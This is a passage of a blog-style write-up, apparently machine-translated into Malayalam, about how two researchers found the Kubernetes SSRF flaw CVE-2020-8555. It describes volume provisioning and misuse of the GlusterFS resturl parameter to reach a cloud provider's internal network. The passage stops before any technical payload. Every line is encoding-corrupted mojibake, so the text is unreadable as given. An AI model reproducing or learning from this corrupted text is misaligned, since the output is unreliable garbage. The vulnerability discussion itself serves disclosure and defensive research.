เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เด•เตเดฑเดฟเดชเตเดชเต. เดตเดฟเดตเตผเดคเตเดคเดจเด‚.: เดˆ เดฒเต‡เด–เดจเดคเตเดคเดฟเดจเตเดฑเต† เดฐเดšเดฏเดฟเดคเดพเด•เตเด•เตพ เดŽเด™เตเด™เดจเต†เดฏเดพเดฃเต เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เด•เดฃเตเดŸเต†เดคเตเดคเตเดจเตเดจเดคเต เดŽเดจเตเดจเดคเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดตเดฟเดถเดฆเดฎเดพเดฏเดฟ เดธเด‚เดธเดพเดฐเดฟเด•เตเด•เตเดจเตเดจเต CVE-2020โ€“8555 เด•เตเดฌเต†เตผเดจเต†เดฑเตเดฑเดธเดฟเตฝ. เดคเตเดŸเด•เตเด•เดคเตเดคเดฟเตฝ เด‡เดคเต เดตเดณเดฐเต† เด…เดชเด•เดŸเด•เดฐเดฎเดพเดฏเดฟ เดคเต‹เดจเตเดจเดฟเดฏเดฟเดฒเตเดฒเต†เด™เตเด•เดฟเดฒเตเด‚, เดฎเดฑเตเดฑเต เด˜เดŸเด•เด™เตเด™เดณเตเดฎเดพเดฏเดฟ เดธเด‚เดฏเต‹เดœเดฟเดšเตเดšเต เด…เดคเดฟเดจเตเดฑเต† เดจเดฟเตผเดฃเดพเดฏเด•เดค เดšเดฟเดฒ เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเด•เตเด•เตพเด•เตเด•เต เดชเดฐเดฎเดพเดตเดงเดฟ เด†เดฏเดฟ เดฎเดพเดฑเดฟ. เดจเดฟเดฐเดตเดงเดฟ เดธเด‚เด˜เดŸเดจเด•เตพ เด…เดตเดฐเตเดŸเต† เดชเตเดฐเดตเตผเดคเตเดคเดจเดคเตเดคเดฟเดจเต เดธเตเดชเต†เดทเตเดฏเดฒเดฟเดธเตเดฑเตเดฑเตเด•เตพเด•เตเด•เต เด‰เดฆเดพเดฐเดฎเดพเดฏเดฟ เดชเตเดฐเดคเดฟเดซเดฒเด‚ เดจเตฝเด•เดฟ.

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...

เดจเดฎเตเดฎเดณเดพเดฐเดพเดฃเต

เดžเด™เตเด™เตพ เดฐเดฃเตเดŸเต เดซเตเดฐเดžเตเดšเต เดธเตเดฐเด•เตเดทเดพ เด—เดตเต‡เดทเด•เดฐเดพเดฃเต, เด…เดตเตผ เดธเด‚เดฏเตเด•เตเดคเดฎเดพเดฏเดฟ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเดฟเตฝ เด’เดฐเต เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เด•เดฃเตเดŸเต†เดคเตเดคเดฟ เดžเด™เตเด™เดณเตเดŸเต† เดชเต‡เดฐเตเด•เตพ เดฌเตเดฐเตˆเดธเต เด“เด—เตเดฐเดธเต, เด•เตเดฐเดฟเดธเตเดฑเตเดฑเต‹เดซเต เดนเต‹เด•เตเดตเดฟเดฏเตผ, เดŽเดจเตเดจเดพเตฝ เดชเดฒ เดฌเด—เต เดฌเต—เดฃเตเดŸเดฟ เดชเตเดฒเดพเดฑเตเดฑเตโ€Œเดซเต‹เดฎเตเด•เดณเดฟเดฒเตเด‚ เดžเด™เตเด™เตพ เดฏเดฅเดพเด•เตเดฐเดฎเด‚ Reeverzax เดŽเดจเตเดจเตเด‚ Hach เดŽเดจเตเดจเตเด‚ เด…เดฑเดฟเดฏเดชเตเดชเต†เดŸเตเดจเตเดจเต:

เดŽเดจเตเดคเต เดธเด‚เดญเดตเดฟเดšเตเดšเต?

เด’เดฐเต เดธเดพเดงเดพเดฐเดฃ เด—เดตเต‡เดทเดฃ เดชเตเดฐเต‹เดœเด•เตเดฑเตเดฑเต เด…เดชเตเดฐเดคเต€เด•เตเดทเดฟเดคเดฎเดพเดฏเดฟ เดฌเด—เต เดตเต‡เดŸเตเดŸเด•เตเด•เดพเดฐเตเดŸเต† เดœเต€เดตเดฟเดคเดคเตเดคเดฟเดฒเต† เดเดฑเตเดฑเดตเตเด‚ เด†เดตเต‡เดถเด•เดฐเดฎเดพเดฏ เดธเดพเดนเดธเดฟเด•เดคเดฏเดพเดฏเดฟ เดฎเดพเดฑเดฟเดฏเดคเต†เด™เตเด™เดจเต†เดฏเต†เดจเตเดจเต เดชเด™เตเด•เดฟเดŸเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดžเด™เตเด™เดณเตเดŸเต† เดฎเดพเตผเด—เดฎเดพเดฃเต เดˆ เดฒเต‡เด–เดจเด‚ (เด•เตเดฑเดžเตเดžเดคเต เด‡เดชเตเดชเต‹เดดเต†เด™เตเด•เดฟเดฒเตเด‚).

เดจเดฟเด™เตเด™เตพเด•เตเด•เดฑเดฟเดฏเดพเดตเตเดจเตเดจเดคเตเดชเต‹เดฒเต†, เดฌเด—เต เดตเต‡เดŸเตเดŸเด•เตเด•เดพเตผเด•เตเด•เต เดถเตเดฐเดฆเตเดงเต‡เดฏเดฎเดพเดฏ เดฐเดฃเตเดŸเต เดธเดตเดฟเดถเต‡เดทเดคเด•เตพ เด‰เดฃเตเดŸเต:

  • เด…เดตเตผ เดชเดฟเดธเตเดธเดฏเตเด‚ เดฌเดฟเดฏเดฑเตเด‚ เด•เดดเดฟเดšเตเดšเดพเดฃเต เดœเต€เดตเดฟเด•เตเด•เตเดจเตเดจเดคเต;
  • เดŽเดฒเตเดฒเดพเดตเดฐเตเด‚ เด‰เดฑเด™เตเด™เตเดฎเตเดชเต‹เตพ เด…เดตเตผ เดœเต‹เดฒเดฟ เดšเต†เดฏเตเดฏเตเดจเตเดจเต.

เดˆ เดจเดฟเดฏเดฎเด™เตเด™เดณเดฟเตฝ เดจเดฟเดจเตเดจเต เดžเด™เตเด™เตพ เด’เดฐเต เด…เดชเดตเดพเดฆเดฎเดฒเตเดฒ: เดžเด™เตเด™เตพ เดธเดพเดงเดพเดฐเดฃเดฏเดพเดฏเดฟ เดตเดพเดฐเดพเดจเตเดคเตเดฏเด™เตเด™เดณเดฟเตฝ เด•เดฃเตเดŸเตเดฎเตเดŸเตเดŸเตเด•เดฏเตเด‚ เด‰เดฑเด•เตเด•เดฎเดฟเดฒเตเดฒเดพเดคเตเดค เดฐเดพเดคเตเดฐเดฟเด•เตพ เดนเดพเด•เตเด•เดฟเด‚เด—เต เดจเดŸเดคเตเดคเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต. เดŽเดจเตเดจเดพเตฝ เดˆ เดฐเดพเดคเตเดฐเดฟเด•เดณเดฟเตฝ เด’เดจเตเดจเต เดตเดณเดฐเต† เด…เดธเดพเดงเดพเดฐเดฃเดฎเดพเดฏ เดฐเต€เดคเดฟเดฏเดฟเตฝ เด…เดตเดธเดพเดจเดฟเดšเตเดšเต.

เดชเด™เตเด•เดพเดณเดฟเดคเตเดคเด‚ เดšเตผเดšเตเดš เดšเต†เดฏเตเดฏเดพเตป เดžเด™เตเด™เตพ เด†เดฆเตเดฏเด‚ เด’เดคเตเดคเตเด•เต‚เดŸเดพเตป เดชเต‹เดตเตเด•เดฏเดพเดฏเดฟเดฐเตเดจเตเดจเต เดธเดฟ.เดŸเดฟ.เดŽเดซเต เด…เดŸเตเดคเตเดค เดฆเดฟเดตเดธเด‚. เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค เดธเต‡เดตเดจ เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดฏเดฟเตฝ เด•เตเดฌเต†เตผเดจเต†เดฑเตเดฑเดธเต เดธเตเดฐเด•เตเดทเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เด’เดฐเต เดธเด‚เดญเดพเดทเดฃเดคเตเดคเดฟเดจเดฟเดŸเต†, เดžเด™เตเด™เตพ SSRF-เดจเตเดฑเต† เดชเดดเดฏ เด†เดถเดฏเด‚ เด“เตผเดคเตเดคเต.เดธเต†เตผเดตเตผ-เดธเตˆเดกเต เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดตเตเดฏเดพเดœเด‚) เด•เต‚เดŸเดพเดคเต† เด‡เดคเต เด’เดฐเต เด†เด•เตเดฐเดฎเดฃ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเดพเดฏเดฟ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเตป เดคเต€เดฐเตเดฎเดพเดจเดฟเดšเตเดšเต.

เดฐเดพเดคเตเดฐเดฟ 11 เดฎเดฃเดฟเด•เตเด•เต เดžเด™เตเด™เตพ เด—เดตเต‡เดทเดฃเดคเตเดคเดฟเดจเดพเดฏเดฟ เด‡เดฐเตเดจเตเดจเต, เดซเดฒเด™เตเด™เดณเดฟเตฝ เดตเดณเดฐเต† เดธเด‚เดคเตƒเดชเตเดคเดฐเดพเดฏเดฟ เด…เดคเดฟเดฐเดพเดตเดฟเดฒเต† เดคเดจเตเดจเต† เด‰เดฑเด™เตเด™เดพเตป เด•เดฟเดŸเดจเตเดจเต. เดˆ เด—เดตเต‡เดทเดฃเด‚ เดฎเต‚เดฒเดฎเดพเดฃเต เดžเด™เตเด™เตพ MSRC เดฌเด—เต เดฌเต—เดฃเตเดŸเดฟ เดชเตเดฐเต‹เด—เตเดฐเดพเด‚ เด•เดพเดฃเดพเดจเดฟเดŸเดฏเดพเดฏเดคเตเด‚ เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด•เดพเดตเด•เดพเดถ เดตเตผเดฆเตเดงเดจ เดšเต‚เดทเดฃเด‚ เด•เตŠเดฃเตเดŸเตเดตเดจเตเดจเดคเตเด‚.

เดจเดฟเดฐเดตเดงเดฟ เด†เดดเตโ€Œเดšเด•เตพ/เดฎเดพเดธเด™เตเด™เตพ เด•เดŸเดจเตเดจเตเดชเต‹เดฏเดฟ, เดžเด™เตเด™เดณเตเดŸเต† เด…เดชเตเดฐเดคเต€เด•เตเดทเดฟเดค เดซเดฒเด‚ เด…เดธเต‚เตผ เด•เตเดฒเต—เดกเต เดฌเด—เต เดฌเต—เดฃเตเดŸเดฟเดฏเตเดŸเต† เดšเดฐเดฟเดคเตเดฐเดคเตเดคเดฟเดฒเต† เดเดฑเตเดฑเดตเตเด‚ เด‰เดฏเตผเดจเตเดจ เดฑเดฟเดตเดพเตผเดกเตเด•เดณเดฟเตฝ เด’เดจเตเดจเดฟเดจเต เด•เดพเดฐเดฃเดฎเดพเดฏเดฟ - เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเดฟเตฝ เดจเดฟเดจเตเดจเต เดžเด™เตเด™เตพเด•เตเด•เต เดฒเดญเดฟเดšเตเดšเดคเดฟเดจเต เดชเตเดฑเดฎเต‡!

เดžเด™เตเด™เดณเตเดŸเต† เด—เดตเต‡เดทเดฃ เดชเตเดฐเต‹เดœเด•เตเดฑเตเดฑเดฟเดจเต† เด…เดŸเดฟเดธเตเดฅเดพเดจเดฎเดพเด•เตเด•เดฟ, เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด‰เตฝเดชเตเดชเดจเตเดจ เดธเตเดฐเด•เตเดทเดพ เดธเดฎเดฟเดคเดฟ เดชเตเดฐเดธเดฟเดฆเตเดงเต€เด•เดฐเดฟเดšเตเดšเต CVE-2020โ€“8555.

เด‡เดชเตเดชเต‹เตพ เด•เดฃเตเดŸเต†เดคเตเดคเดฟเดฏ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดคเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เดตเดฟเดตเดฐเด™เตเด™เตพ เด•เดดเดฟเดฏเตเดจเตเดจเดคเตเดฐ เดชเตเดฐเดšเดฐเดฟเดชเตเดชเดฟเด•เตเด•เดพเตป เดžเดพเตป เด†เด—เตเดฐเดนเดฟเด•เตเด•เตเดจเตเดจเต. เดจเดฟเด™เตเด™เตพ เด•เดฃเตเดŸเต†เดคเตเดคเดฟเดฏเดคเดฟเดจเต† เด…เดญเดฟเดจเดจเตเดฆเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดธเดพเด™เตเด•เต‡เดคเดฟเด• เดตเดฟเดถเดฆเดพเด‚เดถเด™เตเด™เตพ เด‡เตปเดซเต‹เดธเต†เด•เต เด•เดฎเตเดฎเตเดฏเต‚เดฃเดฟเดฑเตเดฑเดฟเดฏเดฟเดฒเต† เดฎเดฑเตเดฑเต เด…เด‚เด—เด™เตเด™เดณเตเดฎเดพเดฏเดฟ เดชเด™เตเด•เดฟเดŸเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดฎเต†เดจเตเดจเต เดžเด™เตเด™เตพ เดชเตเดฐเดคเต€เด•เตเดทเดฟเด•เตเด•เตเดจเตเดจเต!

เดŽเด™เตเด•เดฟเตฝ เด‡เดคเดพ เดจเดฎเตเดฎเตเดŸเต† เด•เดฅ...

เดธเดจเตเดฆเตผเดญเด‚

เดŽเดจเตเดคเดพเดฃเต เดธเด‚เดญเดตเดฟเดšเตเดšเดคเต†เดจเตเดจเต เดฎเดจเดธเตเดธเดฟเดฒเดพเด•เตเด•เดพเตป, เด•เตเดฒเต—เดกเต เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดฏเดฟเตฝ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดŽเด™เตเด™เดจเต† เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเตเดตเต†เดจเตเดจเต เด†เดฆเตเดฏเด‚ เดจเต‹เด•เตเด•เดพเด‚.

เด…เดคเตเดคเดฐเดฎเตŠเดฐเต เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดฏเดฟเตฝ เดจเดฟเด™เตเด™เตพ เด’เดฐเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดจเต† เดคเตฝเด•เตเดทเดฃเด‚ เดจเดŸเดคเตเดคเตเดฎเตเดชเต‹เตพ, เดฎเดพเดจเต‡เดœเตเดฎเต†เดจเตเดฑเต เดฒเต†เดฏเตผ เดธเดพเดงเดพเดฐเดฃเดฏเดพเดฏเดฟ เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเดตเดฟเดจเตเดฑเต† เด‰เดคเตเดคเดฐเดตเดพเดฆเดฟเดคเตเดคเดฎเดพเดฃเต:

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...
เด•เตบเดŸเตเดฐเต‹เตพ เดฒเต†เดฏเตผ เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเดตเดฟเดจเตเดฑเต† เดชเดฐเดฟเดงเดฟเดฏเดฟเดฒเดพเดฃเต เดธเตเดฅเดฟเดคเดฟ เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเต, เด…เดคเต‡เดธเดฎเดฏเด‚ เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดจเต‹เดกเตเด•เตพ เด‰เดชเดญเต‹เด•เตเดคเดพเดตเดฟเดจเตเดฑเต† เดชเดฐเดฟเดงเดฟเดฏเดฟเดฒเดพเดฃเต.

เดตเต‹เดณเตเดฏเด™เตเด™เตพ เดšเดฒเดจเดพเดคเตเดฎเด•เดฎเดพเดฏเดฟ เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, เด’เดฐเต เดฌเดพเดนเตเดฏ เดธเด‚เดญเดฐเดฃ โ€‹โ€‹เดฌเดพเด•เตเด•เต†เตปเดกเดฟเตฝ เดจเดฟเดจเตเดจเต เด…เดตเดฏเต† เดšเดฒเดจเดพเดคเตเดฎเด•เดฎเดพเดฏเดฟ เดชเตเดฐเตŠเดตเดฟเดทเตป เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เด…เดตเดฏเต† เดชเดฟเดตเดฟเดธเดฟเดฏเตเดฎเดพเดฏเดฟ เดคเดพเดฐเดคเดฎเตเดฏเด‚ เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เด’เดฐเต เดธเด‚เดตเดฟเดงเดพเดจเด‚ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต (เดชเต†เตผเดธเดฟเดธเตเดฑเตเดฑเดจเตเดฑเต เดตเต‹เดณเดฟเดฏเด‚ เด•เตเดฒเต†เดฏเดฟเด‚, เด…เดคเดพเดฏเดคเต เด’เดฐเต เดตเต‹เดณเดฟเดฏเดคเตเดคเดฟเดจเดพเดฏเตเดณเตเดณ เด…เดญเตเดฏเตผเดคเตเดฅเดจ).

เด…เด™เตเด™เดจเต†, PVC เดธเตƒเดทเตเดŸเดฟเดšเตเดšเต K8s เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดฒเต† StorageClass-เดฒเต‡เด•เตเด•เต เดฌเดจเตเดงเดฟเดชเตเดชเดฟเดšเตเดš เดถเต‡เดทเด‚, เดตเต‹เดณเดฟเดฏเด‚ เดจเตฝเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดคเตเดŸเตผ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ kube/Cloud เด•เตบเดŸเตเดฐเต‹เดณเตผ เดฎเดพเดจเต‡เดœเตผ เดเดฑเตเดฑเต†เดŸเตเด•เตเด•เตเดจเตเดจเต (เด…เดคเดฟเดจเตเดฑเต† เด•เตƒเดคเตเดฏเดฎเดพเดฏ เดชเต‡เดฐเต เดฑเดฟเดฒเต€เดธเดฟเดจเต† เด†เดถเตเดฐเดฏเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต). (เด•เตเดฑเดฟเดชเตเดชเต. เดตเดฟเดตเตผเดคเตเดคเดจเด‚.: เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเด•เตเด•เดณเดฟเตฝ เด’เดฐเดพเตพเด•เตเด•เต CCM เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดฑเต† เด‰เดฆเดพเดนเดฐเดฃเด‚ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดžเด™เตเด™เตพ เด‡เดคเดฟเดจเด•เด‚ เดคเดจเตเดจเต† เด…เดคเดฟเดจเต† เด•เตเดฑเดฟเดšเตเดšเต เด•เต‚เดŸเตเดคเตฝ เดŽเดดเตเดคเดฟเดฏเดฟเดŸเตเดŸเตเดฃเตเดŸเต เด‡เดตเดฟเดŸเต†.)

เด•เตเดฌเต†เตผเดจเต†เดฑเตเดฑเดธเต เดชเดฟเดจเตเดคเตเดฃเดฏเตเด•เตเด•เตเดจเตเดจ เดจเดฟเดฐเดตเดงเดฟ เดคเดฐเด‚ เดชเตเดฐเตŠเดตเดฟเดทเดจเตผเดฎเดพเตผ เด‰เดฃเตเดŸเต: เด…เดตเดฏเดฟเตฝ เดฎเดฟเด•เตเด•เดคเตเด‚ เด‰เตพเดชเตเดชเต†เดŸเตเดคเตเดคเดฟเดฏเดฟเดŸเตเดŸเตเดฃเตเดŸเต เด“เตผเด•เตเด•เดธเตเดŸเตเดฐเต‡เดฑเตเดฑเตผ เด•เต‹เตผ, เดฎเดฑเตเดฑเตเดณเตเดณเดต เด•เตˆเด•เดพเดฐเตเดฏเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเต เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเดฒเต† เดชเต‹เดกเตเด•เดณเดฟเตฝ เดธเตเดฅเดพเดชเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เด…เดงเดฟเด• เดชเตเดฐเตŠเดตเดฟเดทเดจเตผเดฎเดพเดฐเดพเดฃเต.

เดžเด™เตเด™เดณเตเดŸเต† เด—เดตเต‡เดทเดฃเดคเตเดคเดฟเตฝ, เดžเด™เตเด™เตพ เด†เดจเตเดคเดฐเดฟเด• เดตเต‹เดณเดฟเดฏเด‚ เดชเตเดฐเตŠเดตเดฟเดทเดจเดฟเด‚เด—เต เดฎเต†เด•เตเด•เดพเดจเดฟเดธเดคเตเดคเดฟเตฝ เดถเตเดฐเดฆเตเดง เด•เต‡เดจเตเดฆเตเดฐเต€เด•เดฐเดฟเดšเตเดšเต, เด…เดคเต เดšเตเดตเดŸเต† เดšเดฟเดคเตเดฐเต€เด•เดฐเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต:

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...
เดฌเดฟเตฝเดฑเตเดฑเต-เด‡เตป เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เดชเตเดฐเตŠเดตเดฟเดทเดจเตผ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดตเต‹เดณเตเดฏเด™เตเด™เดณเตเดŸเต† เดกเตˆเดจเดพเดฎเดฟเด•เต เดชเตเดฐเตŠเดตเดฟเดทเดจเดฟเด‚เด—เต

เดšเตเดฐเตเด•เตเด•เดคเตเดคเดฟเตฝ, เด’เดฐเต เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดฏเดฟเตฝ Kubernetes เดตเดฟเดจเตเดฏเดธเดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ, เด•เตบเดŸเตเดฐเต‹เดณเตผ เดฎเดพเดจเต‡เดœเตผ เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเดตเดฟเดจเตเดฑเต† เด‰เดคเตเดคเดฐเดตเดพเดฆเดฟเดคเตเดคเดฎเดพเดฃเต, เดŽเดจเตเดจเดพเตฝ เดตเต‹เดณเดฟเดฏเด‚ เดธเตƒเดทเตโ€ŒเดŸเดฟเด•เตเด•เตฝ เด…เดญเตเดฏเตผเดคเตเดฅเดจ (เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดกเดฏเด—เตเดฐเดพเดฎเดฟเดฒเต† เดจเดฎเตเดชเตผ 3) เด•เตเดฒเต—เดกเต เดฆเดพเดคเดพเดตเดฟเดจเตเดฑเต† เด†เดจเตเดคเดฐเดฟเด• เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เดฟเตฝ เดจเดฟเดจเตเดจเต เดชเตเดฑเดคเตเดคเตเดชเต‹เด•เตเดจเตเดจเต. เด‡เดตเดฟเดŸเต†เดฏเดพเดฃเต เด•เดพเดฐเตเดฏเด™เตเด™เตพ เดถเดฐเดฟเด•เตเด•เตเด‚ เดฐเดธเด•เดฐเดฎเดพเด•เตเดจเตเดจเดคเต!

เดนเดพเด•เตเด•เดฟเด‚เด—เต เดฐเด‚เด—เด‚

เดˆ เดตเดฟเดญเดพเด—เดคเตเดคเดฟเตฝ, เดฎเตเด•เดณเดฟเตฝ เดธเต‚เดšเดฟเดชเตเดชเดฟเดšเตเดš เดตเตผเด•เตเด•เตเดซเตเดฒเต‹ เดžเด™เตเด™เตพ เดŽเด™เตเด™เดจเต† เดชเตเดฐเดฏเต‹เดœเดจเดชเตเดชเต†เดŸเตเดคเตเดคเดฟ เด•เตเดฒเต—เดกเต เดธเต‡เดตเดจ เดฆเดพเดคเดพเดตเดฟเดจเตเดฑเต† เด†เดจเตเดคเดฐเดฟเด• เด‰เดฑเดตเดฟเดŸเด™เตเด™เตพ เด†เด•เตโ€Œเดธเดธเต เดšเต†เดฏเตโ€Œเดคเตเดตเต†เดจเตเดจเต เดžเด™เตเด™เตพ เดตเดฟเดถเดฆเต€เด•เดฐเดฟเด•เตเด•เตเด‚. เด†เดจเตเดคเดฐเดฟเด• เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เตพ เดจเต‡เดŸเตเด•เดฏเต‹ เดชเตเดฐเดคเตเดฏเต‡เด•เดพเดตเด•เดพเดถเด™เตเด™เตพ เดตเตผเดฆเตเดงเดฟเดชเตเดชเดฟเด•เตเด•เตเด•เดฏเต‹ เดชเต‹เดฒเตเดณเตเดณ เดšเดฟเดฒ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดŽเด™เตเด™เดจเต† เดšเต†เดฏเตเดฏเดพเดฎเต†เดจเตเดจเตเด‚ เด‡เดคเต เดจเดฟเด™เตเด™เดณเต† เด•เดพเดฃเดฟเด•เตเด•เตเด‚.

เด’เดฐเต เดฒเดณเดฟเดคเดฎเดพเดฏ เด•เตƒเดคเตเดฐเดฟเดฎเดคเตเดตเด‚ (เดˆ เดธเดพเดนเดšเดฐเตเดฏเดคเตเดคเดฟเตฝ, เดธเตผเดตเต€เดธเต เดธเตˆเดกเต เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดตเตเดฏเดพเดœเด‚) เด•เตเดฒเดฏเดจเตเดฑเต เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเด•เตเด•เต เด…เดชเตเดชเตเดฑเดคเตเดคเต‡เด•เตเด•เต เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค K8- เดจเต เด•เต€เดดเดฟเตฝ เดตเดฟเดตเดฟเดง เดธเต‡เดตเดจ เดฆเดพเดคเดพเด•เตเด•เดณเตเดŸเต† เด•เตเดฒเดธเตเดฑเตเดฑเดฑเตเด•เดณเดฟเดฒเต‡เด•เตเด•เต เดชเต‹เด•เดพเตป เดธเดนเดพเดฏเดฟเดšเตเดšเต.

เดžเด™เตเด™เดณเตเดŸเต† เด—เดตเต‡เดทเดฃเดคเตเดคเดฟเตฝ เดžเด™เตเด™เตพ GlusterFS เดชเตเดฐเตŠเดตเดฟเดทเดจเดฑเดฟเตฝ เดถเตเดฐเดฆเตเดง เด•เต‡เดจเตเดฆเตเดฐเต€เด•เดฐเดฟเดšเตเดšเต. เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เดณเตเดŸเต† เดคเตเดŸเตผ เด•เตเดฐเดฎเด‚ เดˆ เดธเดจเตเดฆเตผเดญเดคเตเดคเดฟเตฝ เดตเดฟเดตเดฐเดฟเดšเตเดšเดฟเดŸเตเดŸเตเดฃเตเดŸเต†เด™เตเด•เดฟเดฒเตเด‚, Quobyte, StorageOS, ScaleIO เดŽเดจเตเดจเดฟเดต เด’เดฐเต‡ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดคเดฏเตเด•เตเด•เต เดตเดฟเดงเต‡เดฏเดฎเดพเดฃเต.

เด‡เดคเต เด•เตเดฌเตผเดจเต†เดฑเตเดฑเดธเต เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเดฒเตเดฒ...
เดกเตˆเดจเดพเดฎเดฟเด•เต เดตเต‹เดณเดฟเดฏเด‚ เดชเตเดฐเตŠเดตเดฟเดทเดจเดฟเด‚เด—เต เดฎเต†เด•เตเด•เดพเดจเดฟเดธเดคเตเดคเดฟเดจเตเดฑเต† เดฆเตเดฐเตเดชเดฏเต‹เด—เด‚

เดธเตเดฑเตเดฑเต‹เดฑเต‡เดœเต เด•เตเดฒเดพเดธเต เดตเดฟเดถเด•เดฒเดจ เดธเดฎเดฏเดคเตเดคเต เด—เตเดฒเดธเตเดฑเตเดฑเตผเดŽเดซเตเดŽเดธเต Golang เด•เตเดฒเดฏเดจเตเดฑเต เดธเต‹เดดเตเดธเต เด•เต‹เดกเดฟเตฝ เดžเด™เตเด™เตพ เดถเตเดฐเดฆเตเดงเดฟเดšเตเดšเตเดตเต‹เดณเดฟเดฏเด‚ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเดจเตเดจ เดธเดฎเดฏเดคเตเดคเต เด…เดฏเดšเตเดš เด†เดฆเตเดฏเดคเตเดคเต† HTTP เด…เดญเตเดฏเตผเดคเตเดฅเดจเดฏเดฟเตฝ (3), เดชเดพเดฐเดพเดฎเต€เดฑเตเดฑเดฑเดฟเดฒเต† เด‡เดทเตโ€ŒเดŸเดพเดจเตเดธเตƒเดค URL-เดจเตเดฑเต† เด…เดตเดธเดพเดจเด‚ เดตเดฐเต† resturl เดšเต‡เตผเดคเตเดคเต /volumes.

